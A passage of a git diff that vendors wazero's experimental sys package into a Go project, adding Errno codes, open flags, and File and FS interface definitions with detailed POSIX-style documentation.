+// cleanup for host modules, possibly something like below would be better, as +// it could be implemented in a way that allows concurrent module use. +// +// // key is like a context key, stateFactory is invoked per instantiate and +// // is associated with the key (exposed as `Module.State` similar to go +// // context). Using a key is better than the module name because we can +// // de-dupe it for host modules that can be instantiated into different +// // names. Also, you can make the key package private. +// HostModuleBuilder.WithState(key any, stateFactory func() Cleanup)` +// +// Such a design could work to isolate state only needed for wasip1, for +// example the dirent cache. However, if end users use this for different +// things, we may need separate designs. +// +// In summary, the purpose of this iteration is to identify projects that +// would use something like this, and then we can figure out which way it +// should go. + +// CloseNotifyFunc is a convenience for defining inlining a CloseNotifier. +type CloseNotifyFunc func(ctx context.Context, exitCode uint32) + +// CloseNotify implements CloseNotifier.CloseNotify. +func (f CloseNotifyFunc) CloseNotify(ctx context.Context, exitCode uint32) { + f(ctx, exitCode) +} + +// WithCloseNotifier registers the given CloseNotifier into the given +// context.Context. +func WithCloseNotifier(ctx context.Context, notifier CloseNotifier) context.Context { + if notifier != nil { + return context.WithValue(ctx, close.NotifierKey{}, notifier) + } + return ctx +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go new file mode 100644 index 0000000000..0b997cb8fc --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go @@ -0,0 +1,92 @@ +package sys + +import ( + "fmt" + "io/fs" + + "github.com/tetratelabs/wazero/sys" +) + +// FileType is fs.FileMode masked on fs.ModeType. For example, zero is a +// regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown. +// +// Note: This is defined by Linux, not POSIX. +type FileType = fs.FileMode + +// Dirent is an entry read from a directory via File.Readdir. +// +// # Notes +// +// - This extends `dirent` defined in POSIX with some fields defined by +// Linux. See https://man7.org/linux/man-pages/man3/readdir.3.html and +// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html +// - This has a subset of fields defined in sys.Stat_t. Notably, there is no +// field corresponding to Stat_t.Dev because that value will be constant +// for all files in a directory. To get the Dev value, call File.Stat on +// the directory File.Readdir was called on. +type Dirent struct { + // Ino is the file serial number, or zero if not available. See Ino for + // more details including impact returning a zero value. + Ino sys.Inode + + // Name is the base name of the directory entry. Empty is invalid. + Name string + + // Type is fs.FileMode masked on fs.ModeType. For example, zero is a + // regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown. + // + // Note: This is defined by Linux, not POSIX. + Type fs.FileMode +} + +func (d *Dirent) String() string { + return fmt.Sprintf("name=%s, type=%v, ino=%d", d.Name, d.Type, d.Ino) +} + +// IsDir returns true if the Type is fs.ModeDir. +func (d *Dirent) IsDir() bool { + return d.Type == fs.ModeDir +} + +// DirFile is embeddable to reduce the amount of functions to implement a file. +type DirFile struct{} + +// IsAppend implements File.IsAppend +func (DirFile) IsAppend() bool { + return false +} + +// SetAppend implements File.SetAppend +func (DirFile) SetAppend(bool) Errno { + return EISDIR +} + +// IsDir implements File.IsDir +func (DirFile) IsDir() (bool, Errno) { + return true, 0 +} + +// Read implements File.Read +func (DirFile) Read([]byte) (int, Errno) { + return 0, EISDIR +} + +// Pread implements File.Pread +func (DirFile) Pread([]byte, int64) (int, Errno) { + return 0, EISDIR +} + +// Write implements File.Write +func (DirFile) Write([]byte) (int, Errno) { + return 0, EISDIR +} + +// Pwrite implements File.Pwrite +func (DirFile) Pwrite([]byte, int64) (int, Errno) { + return 0, EISDIR +} + +// Truncate implements File.Truncate +func (DirFile) Truncate(int64) Errno { + return EISDIR +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/errno.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/errno.go new file mode 100644 index 0000000000..81baadd0d9 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/errno.go @@ -0,0 +1,95 @@ +package sys + +import "strconv" + +// Errno is a subset of POSIX errno used by wazero interfaces. Zero is not an +// error. Other values should not be interpreted numerically, rather by constants +// prefixed with 'E'. +// +// See https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/errno.h.html +type Errno uint16 + +// ^-- Note: This will eventually move to the public /sys package. It is +// experimental until we audit the socket related APIs to ensure we have all +// the Errno it returns, and we export fs.FS. This is not in /internal/sys as +// that would introduce a package cycle. + +// This is a subset of errors to reduce implementation burden. `wasip1` defines +// almost all POSIX error numbers, but not all are used in practice. wazero +// will add ones needed in POSIX order, as needed by functions that explicitly +// document returning them. +// +// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-errno-enumu16 +const ( + EACCES Errno = iota + 1 + EAGAIN + EBADF + EEXIST + EFAULT + EINTR + EINVAL + EIO + EISDIR + ELOOP + ENAMETOOLONG + ENOENT + ENOSYS + ENOTDIR + ENOTEMPTY + ENOTSOCK + ENOTSUP + EPERM + EROFS + + // NOTE ENOTCAPABLE is defined in wasip1, but not in POSIX. wasi-libc + // converts it to EBADF, ESPIPE or EINVAL depending on the call site. + // It isn't known if compilers who don't use ENOTCAPABLE would crash on it. +) + +// Error implements error +func (e Errno) Error() string { + switch e { + case 0: // not an error + return "success" + case EACCES: + return "permission denied" + case EAGAIN: + return "resource unavailable, try again" + case EBADF: + return "bad file descriptor" + case EEXIST: + return "file exists" + case EFAULT: + return "bad address" + case EINTR: + return "interrupted function" + case EINVAL: + return "invalid argument" + case EIO: + return "input/output error" + case EISDIR: + return "is a directory" + case ELOOP: + return "too many levels of symbolic links" + case ENAMETOOLONG: + return "filename too long" + case ENOENT: + return "no such file or directory" + case ENOSYS: + return "functionality not supported" + case ENOTDIR: + return "not a directory or a symbolic link to a directory" + case ENOTEMPTY: + return "directory not empty" + case ENOTSOCK: + return "not a socket" + case ENOTSUP: + return "not supported (may be the same value as [EOPNOTSUPP])" + case EPERM: + return "operation not permitted" + case EROFS: + return "read-only file system" + default: + return "Errno(" + strconv.Itoa(int(e)) + ")" + } +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/error.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/error.go similarity index 54% rename from vendor/github.com/tetratelabs/wazero/internal/platform/error.go rename to vendor/github.com/tetratelabs/wazero/experimental/sys/error.go index 3219e5265e..a0c76019aa 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/error.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/error.go @@ -1,39 +1,32 @@ -package platform +package sys import ( "io" "io/fs" "os" - "syscall" ) -// UnwrapOSError returns a syscall.Errno or zero if the input is nil. -func UnwrapOSError(err error) syscall.Errno { +// UnwrapOSError returns an Errno or zero if the input is nil. +func UnwrapOSError(err error) Errno { if err == nil { return 0 } err = underlyingError(err) - if se, ok := err.(syscall.Errno); ok { - return adjustErrno(se) - } - // Below are all the fs.ErrXXX in fs.go. - // - // Note: Once we have our own file type, we should never see these. switch err { case nil, io.EOF: - return 0 // EOF is not a syscall.Errno + return 0 // EOF is not a Errno case fs.ErrInvalid: - return syscall.EINVAL + return EINVAL case fs.ErrPermission: - return syscall.EPERM + return EPERM case fs.ErrExist: - return syscall.EEXIST + return EEXIST case fs.ErrNotExist: - return syscall.ENOENT + return ENOENT case fs.ErrClosed: - return syscall.EBADF + return EBADF } - return syscall.EIO + return errorToErrno(err) } // underlyingError returns the underlying error if a well-known OS error type. diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go new file mode 100644 index 0000000000..f8f2e5b128 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go @@ -0,0 +1,317 @@ +package sys + +import "github.com/tetratelabs/wazero/sys" + +// File is a writeable fs.File bridge backed by syscall functions needed for ABI +// including WASI and runtime.GOOS=js. +// +// Implementations should embed UnimplementedFile for forward compatability. Any +// unsupported method or parameter should return ENOSYS. +// +// # Errors +// +// All methods that can return an error return a Errno, which is zero +// on success. +// +// Restricting to Errno matches current WebAssembly host functions, +// which are constrained to well-known error codes. For example, `GOOS=js` maps +// hard coded values and panics otherwise. More commonly, WASI maps syscall +// errors to u32 numeric values. +// +// # Notes +// +// - You must call Close to avoid file resource conflicts. For example, +// Windows cannot delete the underlying directory while a handle to it +// remains open. +// - A writable filesystem abstraction is not yet implemented as of Go 1.20. +// See https://github.com/golang/go/issues/45757 +type File interface { + // Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or + // an error retrieving it. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. Zero should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + // - This combined with Ino can implement os.SameFile. + Dev() (uint64, Errno) + + // Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown + // or an error retrieving it. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. Zero should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + // - This combined with Dev can implement os.SameFile. + Ino() (sys.Inode, Errno) + + // IsDir returns true if this file is a directory or an error there was an + // error retrieving this information. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. false should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + IsDir() (bool, Errno) + + // IsAppend returns true if the file was opened with O_APPEND, or + // SetAppend was successfully enabled on this file. + // + // # Notes + // + // - This might not match the underlying state of the file descriptor if + // the file was not opened via OpenFile. + IsAppend() bool + + // SetAppend toggles the append mode (O_APPEND) of this file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may + // have to re-open the underlying file to apply this. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html + SetAppend(enable bool) Errno + + // Stat is similar to syscall.Fstat. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX. + // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html + // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the + // same value. + // - Windows allows you to stat a closed directory. + Stat() (sys.Stat_t, Errno) + + // Read attempts to read all bytes in the file into `buf`, and returns the + // count read even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.Reader and `read` in POSIX, preferring semantics of + // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html + // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To + // read the file completely, the caller must repeat until `n` is zero. + Read(buf []byte) (n int, errno Errno) + + // Pread attempts to read all bytes in the file into `p`, starting at the + // offset `off`, and returns the count read even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EINVAL: the offset was negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics + // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html + // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To + // read the file completely, the caller must repeat until `n` is zero. + Pread(buf []byte, off int64) (n int, errno Errno) + + // Seek attempts to set the next offset for Read or Write and returns the + // resulting absolute offset or an error. + // + // # Parameters + // + // The `offset` parameters is interpreted in terms of `whence`: + // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets + // the next Read or Write to the beginning of the file. + // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets + // the next Read or Write 16 bytes past the prior. + // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the + // next Read or Write to the last byte in the file. + // + // # Behavior when a directory + // + // The only supported use case for a directory is seeking to `offset` zero + // (`whence` = io.SeekStart). This should have the same behavior as + // os.File, which resets any internal state used by Readdir. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EINVAL: the offset was negative. + // + // # Notes + // + // - This is like io.Seeker and `fseek` in POSIX, preferring semantics + // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html + Seek(offset int64, whence int) (newOffset int64, errno Errno) + + // Readdir reads the contents of the directory associated with file and + // returns a slice of up to n Dirent values in an arbitrary order. This is + // a stateful function, so subsequent calls return any next values. + // + // If n > 0, Readdir returns at most n entries or an error. + // If n <= 0, Readdir returns all remaining entries or an error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file was closed or not a directory. + // - ENOENT: the directory could not be read (e.g. deleted). + // + // # Notes + // + // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX. + // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html + // - Unlike os.File, there is no io.EOF returned on end-of-directory. To + // read the directory completely, the caller must repeat until the + // count read (`len(dirents)`) is less than `n`. + // - See /RATIONALE.md for design notes. + Readdir(n int) (dirents []Dirent, errno Errno) + + // Write attempts to write all bytes in `p` to the file, and returns the + // count written even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file was closed, not writeable, or a directory. + // + // # Notes + // + // - This is like io.Writer and `write` in POSIX, preferring semantics of + // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html + Write(buf []byte) (n int, errno Errno) + + // Pwrite attempts to write all bytes in `p` to the file at the given + // offset `off`, and returns the count written even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not writeable. + // - EINVAL: the offset was negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics + // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html + Pwrite(buf []byte, off int64) (n int, errno Errno) + + // Truncate truncates a file to a specified length. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // - EINVAL: the `size` is negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html + // - Windows does not error when calling Truncate on a closed file. + Truncate(size int64) Errno + + // Sync synchronizes changes to the file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fsync and `fsync` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html + // - This returns with no error instead of ENOSYS when + // unimplemented. This prevents fake filesystems from erring. + // - Windows does not error when calling Sync on a closed file. + Sync() Errno + + // Datasync synchronizes the data of a file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html + // - This returns with no error instead of ENOSYS when + // unimplemented. This prevents fake filesystems from erring. + // - As this is commonly missing, some implementations dispatch to Sync. + Datasync() Errno + + // Utimens set file access and modification times of this file, at + // nanosecond precision. + // + // # Parameters + // + // The `atim` and `mtim` parameters refer to access and modification time + // stamps as defined in sys.Stat_t. To retain one or the other, substitute + // it with the pseudo-timestamp UTIME_OMIT. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.UtimesNano and `futimens` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html + // - Windows requires files to be open with O_RDWR, which means you + // cannot use this to update timestamps on a directory (EPERM). + Utimens(atim, mtim int64) Errno + + // Close closes the underlying file. + // + // A zero Errno is returned if unimplemented or success. + // + // # Notes + // + // - This is like syscall.Close and `close` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html + Close() Errno +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go new file mode 100644 index 0000000000..1ce99cef18 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go @@ -0,0 +1,293 @@ +package sys + +import ( + "io/fs" + + "github.com/tetratelabs/wazero/sys" +) + +// FS is a writeable fs.FS bridge backed by syscall functions needed for ABI +// including WASI and runtime.GOOS=js. +// +// Implementations should embed UnimplementedFS for forward compatability. Any +// unsupported method or parameter should return ENO +// +// # Errors +// +// All methods that can return an error return a Errno, which is zero +// on success. +// +// Restricting to Errno matches current WebAssembly host functions, +// which are constrained to well-known error codes. For example, `GOOS=js` maps +// hard coded values and panics otherwise. More commonly, WASI maps syscall +// errors to u32 numeric values. +// +// # Notes +// +// A writable filesystem abstraction is not yet implemented as of Go 1.20. See +// https://github.com/golang/go/issues/45757 +type FS interface { + // OpenFile opens a file. It should be closed via Close on File. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` or `flag` is invalid. + // - EISDIR: the path was a directory, but flag included O_RDWR or + // O_WRONLY + // - ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT. + // + // # Constraints on the returned file + // + // Implementations that can read flags should enforce them regardless of + // the type returned. For example, while os.File implements io.Writer, + // attempts to write to a directory or a file opened with O_RDONLY fail + // with a EBADF. + // + // Some implementations choose whether to enforce read-only opens, namely + // fs.FS. While fs.FS is supported (Adapt), wazero cannot runtime enforce + // open flags. Instead, we encourage good behavior and test our built-in + // implementations. + // + // # Notes + // + // - This is like os.OpenFile, except the path is relative to this file + // system, and Errno is returned instead of os.PathError. + // - Implications of permissions when O_CREAT are described in Chmod notes. + // - This is like `open` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html + OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno) + + // Lstat gets file status without following symbolic links. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - ENOENT: `path` doesn't exist. + // + // # Notes + // + // - This is like syscall.Lstat, except the `path` is relative to this + // file system. + // - This is like `lstat` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/lstat.html + // - An fs.FileInfo backed implementation sets atim, mtim and ctim to the + // same value. + // - When the path is a symbolic link, the stat returned is for the link, + // not the file it refers to. + Lstat(path string) (sys.Stat_t, Errno) + + // Stat gets file status. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - ENOENT: `path` doesn't exist. + // + // # Notes + // + // - This is like syscall.Stat, except the `path` is relative to this + // file system. + // - This is like `stat` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html + // - An fs.FileInfo backed implementation sets atim, mtim and ctim to the + // same value. + // - When the path is a symbolic link, the stat returned is for the file + // it refers to. + Stat(path string) (sys.Stat_t, Errno) + + // Mkdir makes a directory. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - EEXIST: `path` exists and is a directory. + // - ENOTDIR: `path` exists and is a file. + // + // # Notes + // + // - This is like syscall.Mkdir, except the `path` is relative to this + // file system. + // - This is like `mkdir` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html + // - Implications of permissions are described in Chmod notes. + Mkdir(path string, perm fs.FileMode) Errno + + // Chmod changes the mode of the file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` does not exist. + // + // # Notes + // + // - This is like syscall.Chmod, except the `path` is relative to this + // file system. + // - This is like `chmod` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/chmod.html + // - Windows ignores the execute bit, and any permissions come back as + // group and world. For example, chmod of 0400 reads back as 0444, and + // 0700 0666. Also, permissions on directories aren't supported at all. + Chmod(path string, perm fs.FileMode) Errno + + // Rename renames file or directory. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `from` or `to` is invalid. + // - ENOENT: `from` or `to` don't exist. + // - ENOTDIR: `from` is a directory and `to` exists as a file. + // - EISDIR: `from` is a file and `to` exists as a directory. + // - ENOTEMPTY: `both from` and `to` are existing directory, but + // `to` is not empty. + // + // # Notes + // + // - This is like syscall.Rename, except the paths are relative to this + // file system. + // - This is like `rename` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html + // - Windows doesn't let you overwrite an existing directory. + Rename(from, to string) Errno + + // Rmdir removes a directory. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` doesn't exist. + // - ENOTDIR: `path` exists, but isn't a directory. + // - ENOTEMPTY: `path` exists, but isn't empty. + // + // # Notes + // + // - This is like syscall.Rmdir, except the `path` is relative to this + // file system. + // - This is like `rmdir` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html + // - As of Go 1.19, Windows maps ENOTDIR to ENOENT. + Rmdir(path string) Errno + + // Unlink removes a directory entry. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` doesn't exist. + // - EISDIR: `path` exists, but is a directory. + // + // # Notes + // + // - This is like syscall.Unlink, except the `path` is relative to this + // file system. + // - This is like `unlink` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/unlink.html + // - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might + // want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows. + // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya + Unlink(path string) Errno + + // Link creates a "hard" link from oldPath to newPath, in contrast to a + // soft link (via Symlink). + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EPERM: `oldPath` is invalid. + // - ENOENT: `oldPath` doesn't exist. + // - EISDIR: `newPath` exists, but is a directory. + // + // # Notes + // + // - This is like syscall.Link, except the `oldPath` is relative to this + // file system. + // - This is like `link` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html + Link(oldPath, newPath string) Errno + + // Symlink creates a "soft" link from oldPath to newPath, in contrast to a + // hard link (via Link). + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EPERM: `oldPath` or `newPath` is invalid. + // - EEXIST: `newPath` exists. + // + // # Notes + // + // - This is like syscall.Symlink, except the `oldPath` is relative to + // this file system. + // - This is like `symlink` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/symlink.html + // - Only `newPath` is relative to this file system and `oldPath` is kept + // as-is. That is because the link is only resolved relative to the + // directory when dereferencing it (e.g. ReadLink). + // See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409 + // for how others implement this. + // - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`. + // Otherwise, EPERM results. + // See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links + Symlink(oldPath, linkName string) Errno + + // Readlink reads the contents of a symbolic link. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // + // # Notes + // + // - This is like syscall.Readlink, except the path is relative to this + // filesystem. + // - This is like `readlink` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/readlink.html + // - On Windows, the path separator is different from other platforms, + // but to provide consistent results to Wasm, this normalizes to a "/" + // separator. + Readlink(path string) (string, Errno) + + // Utimens set file access and modification times on a path relative to + // this file system, at nanosecond precision. + // + // # Parameters + // + // If the path is a symbolic link, the target of expanding that link is + // updated. + // + // The `atim` and `mtim` parameters refer to access and modification time + // stamps as defined in sys.Stat_t. To retain one or the other, substitute + // it with the pseudo-timestamp UTIME_OMIT. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - EEXIST: `path` exists and is a directory. + // - ENOTDIR: `path` exists and is a file. + // + // # Notes + // + // - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in + // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html + Utimens(path string, atim, mtim int64) Errno +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go new file mode 100644 index 0000000000..39ebd378f6 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go @@ -0,0 +1,70 @@ +package sys + +// Oflag are flags used for FS.OpenFile. Values, including zero, should not be +// interpreted numerically. Instead, use by constants prefixed with 'O_' with +// special casing noted below. +// +// # Notes +// +// - O_RDONLY, O_RDWR and O_WRONLY are mutually exclusive, while the other +// flags can coexist bitwise. +// - This is like `flag` in os.OpenFile and `oflag` in POSIX. See +// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html +type Oflag uint32 + +// This is a subset of oflags to reduce implementation burden. `wasip1` splits +// these across `oflags` and `fdflags`. We can't rely on the Go `os` package, +// as it is missing some values. Any flags added will be defined in POSIX +// order, as needed by functions that explicitly document accepting them. +// +// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-oflags-flagsu16 +// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fdflags-flagsu16 +const ( + // O_RDONLY is like os.O_RDONLY + O_RDONLY Oflag = iota + + // O_RDWR is like os.O_RDWR + O_RDWR + + // O_WRONLY is like os.O_WRONLY + O_WRONLY + + // Define bitflags as they are in POSIX `open`: alphabetically + + // O_APPEND is like os.O_APPEND + O_APPEND Oflag = 1 << iota + + // O_CREAT is link os.O_CREATE + O_CREAT + + // O_DIRECTORY is defined on some platforms as syscall.O_DIRECTORY. + // + // Note: This ensures that the opened file is a directory. Those emulating + // on platforms that don't support the O_DIRECTORY, can double-check the + // result with File.IsDir (or stat) and err if not a directory. + O_DIRECTORY + + // O_DSYNC is defined on some platforms as syscall.O_DSYNC. + O_DSYNC + + // O_EXCL is defined on some platforms as syscall.O_EXCL. + O_EXCL + + // O_NOFOLLOW is defined on some platforms as syscall.O_NOFOLLOW. + // + // Note: This allows programs to ensure that if the opened file is a + // symbolic link, the link itself is opened instead of its target. + O_NOFOLLOW + + // O_NONBLOCK is defined on some platforms as syscall.O_NONBLOCK. + O_NONBLOCK + + // O_RSYNC is defined on some platforms as syscall.O_RSYNC. + O_RSYNC + + // O_SYNC is defined on some platforms as syscall.O_SYNC. + O_SYNC + + // O_TRUNC is defined on some platforms as syscall.O_TRUNC. + O_TRUNC +) diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go new file mode 100644 index 0000000000..23c4be9283 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go @@ -0,0 +1,104 @@ +//go:build !plan9 + +package sys + +import "syscall" + +func syscallToErrno(err error) (Errno, bool) { + errno, ok := err.(syscall.Errno) + if !ok { + return 0, false + } + switch errno { + case 0: + return 0, true + case syscall.EACCES: + return EACCES, true + case syscall.EAGAIN: + return EAGAIN, true + case syscall.EBADF: + return EBADF, true + case syscall.EEXIST: + return EEXIST, true + case syscall.EFAULT: + return EFAULT, true + case syscall.EINTR: + return EINTR, true + case syscall.EINVAL: + return EINVAL, true + case syscall.EIO: + return EIO, true + case syscall.EISDIR: + return EISDIR, true + case syscall.ELOOP: + return ELOOP, true + case syscall.ENAMETOOLONG: + return ENAMETOOLONG, true + case syscall.ENOENT: + return ENOENT, true + case syscall.ENOSYS: + return ENOSYS, true + case syscall.ENOTDIR: + return ENOTDIR, true + case syscall.ENOTEMPTY: + return ENOTEMPTY, true + case syscall.ENOTSOCK: + return ENOTSOCK, true + case syscall.ENOTSUP: + return ENOTSUP, true + case syscall.EPERM: + return EPERM, true + case syscall.EROFS: + return EROFS, true + default: + return EIO, true + } +} + +// Unwrap is a convenience for runtime.GOOS which define syscall.Errno. +func (e Errno) Unwrap() error { + switch e { + case 0: + return nil + case EACCES: + return syscall.EACCES + case EAGAIN: + return syscall.EAGAIN + case EBADF: + return syscall.EBADF + case EEXIST: + return syscall.EEXIST + case EFAULT: + return syscall.EFAULT + case EINTR: + return syscall.EINTR + case EINVAL: + return syscall.EINVAL + case EIO: + return syscall.EIO + case EISDIR: + return syscall.EISDIR + case ELOOP: + return syscall.ELOOP + case ENAMETOOLONG: + return syscall.ENAMETOOLONG + case ENOENT: + return syscall.ENOENT + case ENOSYS: + return syscall.ENOSYS + case ENOTDIR: + return syscall.ENOTDIR + case ENOTEMPTY: + return syscall.ENOTEMPTY + case ENOTSOCK: + return syscall.ENOTSOCK + case ENOTSUP: + return syscall.ENOTSUP + case EPERM: + return syscall.EPERM + case EROFS: + return syscall.EROFS + default: + return syscall.EIO + } +} diff --git 